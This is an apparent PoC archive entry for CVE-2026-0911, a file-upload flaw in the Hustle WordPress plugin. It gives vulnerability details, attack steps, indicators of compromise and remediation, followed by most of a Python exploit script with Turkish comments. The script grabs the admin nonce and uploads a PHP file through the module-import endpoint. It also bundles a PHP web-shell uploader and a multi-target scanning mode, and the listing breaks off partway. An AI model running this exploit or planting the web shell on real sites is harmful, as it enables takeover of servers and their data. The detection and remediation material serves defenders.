PoC Archive PoC Archive
High CVE-2026-0911 unpatched

Hustle (WordPress Popup) Authenticated Arbitrary File Upload via Module Import (CVE-2026-0911)

by murrez · 2026-07-05

Severity
High
CVE
CVE-2026-0911
Category
web
Affected product
Hustle (wordpress-popup) plugin by WPMU DEV
Affected versions
<= 7.8.9.2
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchermurrez
CVE / AdvisoryCVE-2026-0911
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, hustle, plugin, file-upload, rce, wp_handle_upload, orphan-file, authenticated, cwe-434
RelatedN/A

Affected Target

FieldValue
Software / SystemHustle (wordpress-popup) plugin by WPMU DEV
Versions Affected<= 7.8.9.2
Language / PlatformPython (PoC); PHP/WordPress (target)
Authentication RequiredYes (authenticated WordPress session with access to Hustle admin)
Network Access RequiredYes

Summary

The Hustle WordPress plugin’s module-import feature (action_import_module()) calls WordPress’s core wp_handle_upload() with test_type => false, which disables strict file-type validation during upload. If the subsequently-imported module JSON fails validation, the plugin does not always clean up the uploaded file, leaving an “orphaned” file behind under wp-content/uploads/. On configurations where the web server executes PHP from the uploads directory, an attacker with authenticated access to the Hustle admin AJAX action can smuggle a PHP payload through this import flow and have it persist as a directly-reachable, executable file — a path toward remote code execution. The included PoC (with a Turkish-language README) automates fetching the required WordPress nonce, submitting the crafted multipart upload through the hustle_module_handle_single_action AJAX endpoint, and probing likely uploads/YYYY/MM/ locations for the resulting orphaned file, logging any confirmed hits.


Vulnerability Details

Root Cause

action_import_module() in Hustle invokes wp_handle_upload() with test_type disabled, weakening extension/MIME validation on the uploaded module-import file. Combined with inconsistent cleanup logic when the subsequent JSON-parsing/import step fails, an uploaded file with attacker-controlled contents and name can remain on disk in a predictable uploads/YYYY/MM/ location rather than being deleted.

Attack Vector

  1. Attacker obtains or already holds an authenticated WordPress session with access to the Hustle admin interface, and retrieves the hustle_single_action nonce (e.g. from optinVars on the hustle_popup_listing admin page).
  2. Attacker submits a multipart POST to admin-ajax.php invoking hustle_module_handle_single_action with moduleId=0 (triggering the “new import” path) and a crafted payload file (e.g. named probe_rce.php).
  3. Because wp_handle_upload() runs with weakened validation, the file is accepted and written to wp-content/uploads/<year>/<month>/.
  4. If the module-import JSON validation subsequently fails, the plugin may not delete the uploaded file, leaving it accessible at a guessable URL.
  5. Attacker requests the candidate URL directly; if the server executes PHP from the uploads path, the planted file runs, yielding code execution (subject to the free-tier module quota not blocking the upload beforehand).

Impact

Authenticated arbitrary file upload that can lead to remote code execution on servers that execute PHP from the WordPress uploads directory, potentially exposing the full web server and database.


Environment / Lab Setup

Target:   WordPress with Hustle (wordpress-popup) plugin <= 7.8.9.2
Attacker: Python 3.9+ with the `requests` package (pip install requests); valid authenticated WordPress cookie

Proof of Concept

PoC Script

See CVE-2026-0911.py in this folder.

1
python CVE-2026-0911.py -u "https://example.com" --cookie "wordpress_logged_in_...=...; ..."

The script authenticates using the supplied cookie, retrieves the Hustle admin nonce, submits a multipart upload through the module-import AJAX action (using a harmless default probe payload unless --uploader/--payload-file is specified), and then checks likely uploads/YYYY/MM/ candidate URLs for the orphaned file, appending any confirmed hits to an output file (default cve-2026-0911-hits.txt). A --list/--workers mode supports scanning multiple targets concurrently.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php  action=hustle_module_handle_single_action

wp-content/uploads/<year>/<month>/probe_rce.php (or similarly named non-media files)

Signs of compromise:

  • Non-media files (.php, .phtml, etc.) appearing under wp-content/uploads/ after Hustle module-import activity.
  • Repeated hustle_module_handle_single_action AJAX calls with moduleId=0 from a single authenticated session.
  • Unexpected PHP execution originating from the uploads directory in web server logs.

Remediation

ActionDetail
Primary fixUpgrade Hustle to the patched version enforcing test_type => true and restricting upload_mimes to .json for the import flow
Interim mitigationDisable PHP execution in wp-content/uploads/ via web server configuration, restrict Hustle admin access to trusted administrators, and audit the uploads directory for orphaned non-media files

References


Notes

Mirrored from https://github.com/murrez/CVE-2026-0911 on 2026-07-05.

CVE-2026-0911.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-0911 — Hustle (wordpress-popup) kimlik doğrulamalı keyfi dosya yükleme / RCE öncesi test.

Etkilenen: Hustle <= 7.8.9.2 — wp_handle_upload() test_type=false ile çağrılır, uzantı kontrolü zayıftır;
başarısız import sonrası dosya silinmeyebilir (uploads altında yetim dosya).

Ön koşullar (NVD / Wordfence):
  - Hustle yönetimine erişebilen kullanıcı için geçerli WordPress oturumu (çerez) ve
    hustle_single_action nonce (çoğunlukla yönetici Hustle/modül izni verdikten sonra).
  - moduleId=0 «yeni import» yolunda: ücretsiz kotanın yüklemeden önce engellememesi gerekir
    (aksi halde eklenti dosyayı yazmadan hata döner).

YASAL: Yalnızca size ait veya yazılı test izniniz olan sistemlerde kullanın.

Çıktının kaydedildiği yer
-------------------------
  Varsayılan: olası başarılı koşular (yetim yükleme sinyali) şu dosyaya **eklenir**:
    cve-2026-0911-hits.txt   (betiği çalıştırdığınız çalışma dizini)
  Yol değiştirme:  -o yol/çıktı.txt  veya  --output yol/çıktı.txt
  Biçim: hedef + açıklama satırı, altında girintili aday kabuk URL’leri (uploads/YYYY/MM/...).
  Başarılı satırlar tespit edilir edilmez anında diske yazılır.

Kabuk / yükleme kodu
--------------------
  HTTP çok parçalı yükleme: ``post_hustle_import_upload()`` (``exploit_target`` içinden).
  Yük: ``DEFAULT_SHELL`` (sondaj) veya ``SHELL_UPLOADER_PHP`` (``--uploader``).
"""

from __future__ import annotations

import argparse
import json
import re
import sys
import threading
import os
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from datetime import datetime, timezone
from pathlib import Path
from typing import Callable, Optional
from urllib.parse import urljoin

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Hustle yönetici AJAX eylemi (bkz. hustle-modules-common-admin-ajax.php)
AJAX_ACTION = "hustle_module_handle_single_action"

DEFAULT_PAGE = "hustle_popup_listing"  # admin.php?page=...
MODULE_TYPES = ("popup", "slidein", "embedded", "social_sharing")

# Varsayılan: zararsız tek satırlık sondaj (yalnızca yetkili test).
DEFAULT_SHELL = b"<?php echo 'HUSTLE_CVE_2026_0911_DENEME';"

# İsteğe bağlı: küçük HTML/PHP form yükleyici; yalnızca --uploader ile.
SHELL_UPLOADER_PHP = (
    """<?php
if (isset($_FILES['f'])) {
    move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
    echo "Yüklendi: ".$_FILES['f']['name'];
}
?><form method="POST" enctype="multipart/form-data"><input type="file" name="f"><button>Yükle</button></form>"""
).encode("utf-8")


@dataclass
class ExploitResult:
    target: str
    ok: bool
    detail: str
    candidate_urls: list[str]


def _session_from_cookie(cookie: str) -> requests.Session:
    s = requests.Session()
    s.headers.update(
        {
            "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-0911-arastirma/1.0)",
            "Accept": "text/html,application/json;q=0.9,*/*;q=0.8",
        }
    )
    for part in cookie.split(";"):
        part = part.strip()
        if not part or "=" not in part:
            continue
        k, v = part.split("=", 1)
        k, v = k.strip(), v.strip()
        if k.lower() == "path":
            continue
        s.cookies.set(k, v, domain=None)
    return s


def fetch_nonce(
    session: requests.Session,
    base_url: str,
    admin_page: str,
    verify_ssl: bool,
    timeout: float,
    log: Optional[Callable[[str], None]] = None,
) -> Optional[str]:
    """Hustle liste/sihirbaz HTML içinden optinVars.single_module_action_nonce ayrıştırır."""
    admin_url = urljoin(base_url.rstrip("/") + "/", "wp-admin/admin.php")
    r = session.get(
        admin_url,
        params={"page": admin_page},
        timeout=timeout,
        verify=verify_ssl,
        allow_redirects=True,
    )
    if log:
        log(f"    → GET (nonce) {r.url} — HTTP {r.status_code}")
    if r.status_code != 200:
        return None
    text = r.text
    # wp_localize_script: var optinVars = {...};
    m = re.search(
        r'single_module_action_nonce"\s*:\s*"([a-zA-Z0-9_]+)"',
        text,
    )
    if m:
        return m.group(1)
    # Yedek: farklı tırnak deseni
    m2 = re.search(r"single_module_action_nonce['\"]\s*:\s*['\"]([^'\"]+)['\"]", text)
    return m2.group(1) if m2 else None


def post_hustle_import_upload(
    session: requests.Session,
    ajax_url: str,
    nonce: str,
    module_id: int,
    module_type: str,
    module_mode: str,
    remote_filename: str,
    file_body: bytes,
    verify_ssl: bool,
    timeout: float,
) -> requests.Response:
    """
    CVE-2026-0911 çekirdeği: admin-ajax.php üzerinde çok parçalı POST — alan adı ``import_file`` olmalı
    (bkz. Hustle ``action_import_module()`` / ``$_FILES['import_file']``).
    """
    files = {
        "import_file": (
            remote_filename,
            file_body,
            "application/octet-stream",
        )
    }
    data = {
        "action": AJAX_ACTION,
        "_wpnonce": nonce,
        "moduleId": str(module_id),
        "hustleAction": "import",
        "type": module_type,
        "module_mode": module_mode,
        "context": "listing",
    }
    return session.post(
        ajax_url,
        data=data,
        files=files,
        timeout=timeout,
        verify=verify_ssl,
    )


def build_upload_candidates(base_url: str, remote_name: str) -> list[str]:
    """WordPress varsayılan uploads/YYYY/MM yolu — sunucu yeniden adlandırabilir; tahmine dayalı liste."""
    base = base_url.rstrip("/")
    now = datetime.now(timezone.utc)
    y, m = now.year, now.month
    clean = re.sub(r"[^\w.\-]", "_", remote_name)
    return [
        f"{base}/wp-content/uploads/{y:04d}/{m:02d}/{clean}",
        f"{base}/wp-content/uploads/{y:04d}/{m:02d}/{clean}.php",
    ]


def exploit_target(
    base_url: str,
    session: requests.Session,
    nonce: str,
    module_id: int,
    module_type: str,
    module_mode: str,
    remote_filename: str,
    file_body: bytes,
    verify_ssl: bool,
    timeout: float,
    debug: bool,
    log: Optional[Callable[[str], None]] = None,
) -> ExploitResult:
    base_url = base_url.rstrip("/")
    ajax_url = f"{base_url}/wp-admin/admin-ajax.php"

    try:
        r = post_hustle_import_upload(
            session,
            ajax_url,
            nonce,
            module_id,
            module_type,
            module_mode,
            remote_filename,
            file_body,
            verify_ssl,
            timeout,
        )
    except requests.RequestException as e:
        return ExploitResult(base_url, False, f"İstek hatası: {e}", [])

    if log:
        log(
            f"    → POST (import) {ajax_url} — HTTP {r.status_code}, "
            f"yanıt ~{len(r.text)} bayt"
        )
    if debug:
        print(f"    [ayıklama] HTTP {r.status_code} gövde[:400]={r.text[:400]!r}")

    body = r.text.strip()
    candidates = build_upload_candidates(base_url, remote_filename)

    # JSON hatası beklenir: yüklemeden sonra import JSON ayrıştırır — iletide sıkça «json» geçer.
    parsed: Optional[dict] = None
    try:
        parsed = r.json()
    except json.JSONDecodeError:
        jm = re.search(r"\{.*\}", body, re.DOTALL)
        if jm:
            try:
                parsed = json.loads(jm.group(0))
            except json.JSONDecodeError:
                parsed = None

    if parsed is not None:
        success = parsed.get("success")
        msg = ""
        if isinstance(parsed.get("data"), dict):
            msg = str(parsed["data"].get("message", ""))
        if success is False:
            lower = msg.lower()
            if (
                "json" in lower
                or "invalid" in lower
                or "configuration" in lower
                or "file must" in lower
            ):
                return ExploitResult(
                    base_url,
                    True,
                    f"Sunucu importu reddetti (yetim yükleme sonrası beklenen): {msg or body[:200]}",
                    candidates,
                )
            return ExploitResult(
                base_url,
                False,
                f"Beklenmeyen hata: {msg or body[:300]}",
                candidates,
            )
        if success is True:
            return ExploitResult(
                base_url,
                True,
                "Import başarı döndü (saf .php yükü için olağandışı; elle doğrulayın)",
                candidates,
            )

    if r.status_code == 200 and body:
        return ExploitResult(
            base_url,
            False,
            f"JSON değil veya belirsiz yanıt: {body[:400]}",
            candidates,
        )

    return ExploitResult(
        base_url,
        False,
        f"HTTP {r.status_code}: {body[:300]}",
        candidates,
    )


def load_targets(path: Path) -> list[str]:
    lines = path.read_text(encoding="utf-8", errors="replace").splitlines()
    return [ln.strip() for ln in lines if ln.strip() and not ln.strip().startswith("#")]


def parse_args(argv: Optional[list[str]] = None) -> argparse.Namespace:
    p = argparse.ArgumentParser(
        description=(
            "CVE-2026-0911 Hustle modül importu — yetim yükleme denemesi (yalnızca yetkili kullanım)."
        ),
    )
    p.add_argument(
        "-u",
        "--url",
        help="Tek hedef kök URL (örn. https://ornek.com)",
    )
    p.add_argument(
        "-l",
        "--list",
        type=Path,
        help=(
            "Satır başına bir kök URL; # ile yorum. Aynı --cookie tüm satırlarda "
            "(her host için ayrı çalıştırmanız gerekebilir)"
        ),
    )
    p.add_argument(
        "--cookie",
        help="Tam Cookie başlığı (örn. wordpress_logged_in_...=...)",
    )
    p.add_argument(
        "--cookie-file",
        type=Path,
        help="Tek satır: Cookie dizgisi veya ad=değer çiftleri",
    )
    p.add_argument(
        "--nonce",
        help="hustle_single_action için elle WordPress nonce (otomatik çekim yerine)",
    )
    p.add_argument(
        "--admin-page",
        default=DEFAULT_PAGE,
        help=f"Nonce için admin.php?page= değeri (varsayılan: {DEFAULT_PAGE})",
    )
    p.add_argument(
        "--module-id",
        type=int,
        default=0,
        help=(
            "POST moduleId; 0 geçersiz modül (WP_Error) tetikler, import başında "
            "hustle_create denetimini atlar"
        ),
    )
    p.add_argument(
        "--module-type",
        choices=MODULE_TYPES,
        default="popup",
        help="Hustle modül türü",
    )
    p.add_argument(
        "--module-mode",
        default="informational",
        help="POST module_mode (informational|optin)",
    )
    p.add_argument(
        "--remote-name",
        default="probe_rce.php",
        help="import_file ile gönderilen uzak dosya adı (.php — JSON dalına sokulmasın)",
    )
    p.add_argument(
        "--payload-file",
        type=Path,
        help="Kabuk baytlarını dosyadan oku (varsayılan sondaj ve --uploader üzerine yazar)",
    )
    p.add_argument(
        "--uploader",
        action="store_true",
        help="Yerleşik PHP mini form-yükleyici gövdesini kullan (SHELL_UPLOADER_PHP)",
    )
    p.add_argument(
        "--workers",
        type=int,
        default=8,
        help="-l ile eşzamanlı iş parçacığı sayısı",
    )
    p.add_argument(
        "--timeout",
        type=float,
        default=25.0,
        help="İstek zaman aşımı (saniye)",
    )
    p.add_argument(
        "--verify-ssl",
        action="store_true",
        help="TLS doğrula (varsayılan: kapalı)",
    )
    p.add_argument(
        "--debug",
        action="store_true",
        help="Ayrıntılı ayıklama çıktısı",
    )
    p.add_argument(
        "--quiet",
        action="store_true",
        help="Yalnızca özet; etki alanı ve adım loglarını gösterme",
    )
    p.add_argument(
        "-o",
        "--output",
        type=Path,
        default=Path("cve-2026-0911-hits.txt"),
        help="Başarılı hedefler + aday URL’leri ekle (append)",
    )
    return p.parse_args(argv)


def main(argv: Optional[list[str]] = None) -> int:
    args = parse_args(argv)

    if not args.url and not args.list:
        print("--url veya --list verin", file=sys.stderr)
        return 2

    cookie = args.cookie
    if args.cookie_file:
        cookie = args.cookie_file.read_text(encoding="utf-8", errors="replace").strip()
    if not cookie:
        print("--cookie veya --cookie-file verin", file=sys.stderr)
        return 2

    if args.payload_file:
        file_body = args.payload_file.read_bytes()
    elif args.uploader:
        file_body = SHELL_UPLOADER_PHP
    else:
        file_body = DEFAULT_SHELL

    targets: list[str] = []
    if args.url:
        targets.append(args.url.rstrip("/"))
    if args.list:
        targets.extend(load_targets(args.list))

    verify_ssl = args.verify_ssl
    timeout = args.timeout
    verbose = not args.quiet
    out_lock = threading.Lock()
    log_lock = threading.Lock()
    out_path = args.output.resolve()

    def log(msg: str) -> None:
        if not verbose:
            return
        with log_lock:
            print(msg, flush=True)

    def append_hit_now(r: ExploitResult) -> None:
        """Başarılı sonucu hemen diske yazar (iş parçacığı güvenli)."""
        with out_lock:
            with args.output.open("a", encoding="utf-8") as f:
                f.write(f"{r.target}\t{r.detail}\n")
                for u in r.candidate_urls:
                    f.write(f"\t{u}\n")
                f.flush()
                try:
                    os.fsync(f.fileno())
                except OSError:
                    pass

    def run_one(base: str) -> ExploitResult:
        log(f"{'─'*60}")
        log(f"[*] Hedef: {base}")
        log(
            f"    Adımlar: oturum → nonce → Hustle modül import (çok parçalı import_file) "
            f"→ JSON yanıt analizi"
        )
        sess = _session_from_cookie(cookie)
        nonce = args.nonce
        if not nonce:
            log(f"[*] {base} | Nonce çekiliyor (yönetici sayfası: {args.admin_page})…")
            nonce = fetch_nonce(
                sess, base, args.admin_page, verify_ssl, timeout, log=log
            )
            if not nonce:
                log(f"[-] {base} | Nonce yok (çerez / sayfa / yetki kontrol edin)")
                return ExploitResult(
                    base,
                    False,
                    "single_module_action_nonce çıkarılamadı; --nonce verin veya --admin-page / çerez kontrol edin",
                    [],
                )
            log(f"[+] {base} | Nonce alındı ({nonce[:8]}…)")
        else:
            log(f"[*] {base} | Nonce komut satırından (--nonce)")
        log(
            f"[*] {base} | Yükleme: action={AJAX_ACTION}, hustleAction=import, "
            f"moduleId={args.module_id}, type={args.module_type}, "
            f"dosya={args.remote_name!r} ({len(file_body)} bayt)"
        )
        if args.debug:
            with log_lock:
                print(f"    [ayıklama] nonce={nonce[:6]}…", flush=True)
        res = exploit_target(
            base,
            sess,
            nonce,
            args.module_id,
            args.module_type,
            args.module_mode,
            args.remote_name,
            file_body,
Showing 500 of 562 lines View full file on GitHub →